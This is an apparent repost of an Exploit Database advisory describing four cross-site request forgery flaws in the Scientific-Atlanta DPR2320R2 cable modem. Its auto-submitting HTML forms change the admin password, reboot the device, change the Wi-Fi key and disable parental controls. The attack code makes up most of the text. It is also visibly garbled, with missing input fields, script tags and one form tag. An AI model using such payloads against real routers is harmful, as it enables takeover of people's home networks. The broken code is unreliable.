Scientific-Atlanta, Inc. DPR2320R2 – Multiple Cross-Site Request Forgery Vulnerabilities

Exploit Database
120 阅读

作者： sajith

日期： 2013-11-30
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/29927/

100

101

102

103

104

105

106

107

108

109

110

111

###########################################################

[~] Exploit Title:DPR2320R2 [Scientific-Atlanta, Inc.(A Cisco COMPANY)]

:: Multiple CSRF vulnerability

[~] Author: sajith

[~]Category: Hardware/Wireless Router

[~] vendor home page:

http://www.cisco.com/web/consumer/support/modem_DPR2320.html

[~] Software Version: v2.0.2r1262-090417

###########################################################

(1) Attacker can change the modem authentication password using CSRF

vulnerability .check the below POC

<head>

<title>POC by sajith shetty</title>

</head>

<body>

<form action="http://192.168.0.1/goform/RgSecurity" id="formid"

method="post">

</form>

document.getElementById('formid').submit();

</script>

</body>

</html>

(2)Attacker can reboot modem using CSRF vulnerability(check below POC)

<head>

<title>POC by sajith shetty</title>

</head>

<body>

</form>

document.getElementById('formid').submit();

</script>

</body>

</html>

(3)wireless settings can be exploited using CSRF vulnerability.below POC

shows how password is changed for n/w

authentication WPA-PSK with WPA-encryption set to TKIP(these setting can

also be changed)

<head>

<title>POC by sajith shetty</title>

</head>

<body>

<form action="https://192.168.0.1/goform/wlanSecurity" id="formid"

method="post">

</form>

document.getElementById('formid').submit();

</script>

</body>

</html>

(4)Parental control set up can be disabled or password set for parental set

up can be changed by CSRF vulnerability[POC shown below]

<head>

<title>POC by sajith shetty</title>

</head>

<body>

<form action="http://192.168.0.1/goform/RgParentalBasic" id="formid"

method="post">

</form>

document.getElementById('formid').submit();

</script>

</body>

</html>